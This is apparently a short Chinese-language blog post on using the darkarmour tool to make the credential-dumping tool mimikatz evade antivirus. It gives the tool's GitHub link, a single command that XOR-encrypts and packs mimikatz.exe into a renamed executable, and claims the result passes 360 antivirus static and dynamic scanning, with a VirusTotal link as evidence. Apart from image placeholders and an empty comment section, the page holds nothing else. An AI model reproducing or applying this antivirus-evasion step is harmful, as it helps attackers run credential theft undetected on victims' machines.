使用darkarmour免殺mimikatz

darkarmour是一個可用來免殺exe的項目,github地址:https://github.com/bats3c/darkarmour
我們使用darkarmour來免殺mimikatz。
./darkarmour.py -f mimikatz.exe -j -l 5 -e xor -o darkmeter.exe
image.png
測試一下360靜態查殺和動態都過
image.png
上傳vt看看
https://www.virustotal.com/gui/file/26ab89974fd1a85f1af66cfc2d275893b9a2004616b05a56402f277bcbdd32a9
image.png
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章